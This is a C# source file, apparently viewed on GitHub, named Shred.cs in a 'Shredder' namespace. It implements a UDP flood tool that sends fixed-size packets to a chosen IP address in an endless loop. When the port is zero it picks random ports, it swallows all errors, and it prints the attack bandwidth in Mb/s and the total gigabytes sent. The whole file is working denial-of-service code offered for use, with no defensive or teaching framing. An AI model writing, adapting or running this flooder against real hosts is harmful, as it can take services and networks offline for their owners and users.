-
Notifications
You must be signed in to change notification settings - Fork 2
/
Shred.cs
130 lines (106 loc) · 3.03 KB
/
Shred.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
using System.Net;
using System.Net.Sockets;
namespace Shredder
{
public class Shred
{
private string _ip;
private int _port;
private int _force; // default: 1250
private UdpClient _client;
private byte[] _data;
private bool _on;
private long _sent;
private double _total;
public double Total { get { return _total; } }
private readonly object _lock = new object();
private static readonly object _consoleLock = new object();
public Shred(string ip, int port, int force)
{
_ip = ip;
_port = port;
_force = force; // default: 1250
_client = new UdpClient();
_data = new byte[force];
}
public async Task FloodAsync()
{
_on = true;
_sent = 0;
await SendLoop();
}
private async Task SendLoop()
{
while (_on)
{
try
{
IPEndPoint endPoint = (IPEndPoint)GetEndpoint();
await _client.SendAsync(_data, _data.Length, endPoint);
lock (_lock)
{
_sent += _force;
}
}
catch
{
// ignore
}
}
}
public void Info()
{
double interval = 0.05;
double now = GetTime();
int size = 0;
_total = 0;
int bytediff = 8;
double mb = 1000000;
double gb = 1000000000;
while (_on)
{
Thread.Sleep((int)(interval * 1000));
if (!_on)
{
break;
}
if (size != 0)
{
_total += _sent * bytediff / gb * interval;
lock (_consoleLock)
{
Console.Write($"\r{Stage($"{(int)Math.Round(Convert.ToDecimal(size))} Mb/s - Total: {Math.Round(_total, 1)} Gb.")}");
}
}
double now2 = GetTime();
if (now + 1 >= now2)
{
continue;
}
size = (int)Math.Round(_sent * bytediff / mb);
_sent = 0;
now += 1;
}
}
public void Stop()
{
_on = false;
}
private string Stage(string text, char symbol = '.')
{
return $" {symbol} {text}";
}
private EndPoint GetEndpoint()
{
return new IPEndPoint(IPAddress.Parse(_ip), GetPort());
}
private int GetPort()
{
return _port == 0 ? new Random().Next(1, 65536) : _port;
}
private static double GetTime()
{
return (double)DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond;
}
}
}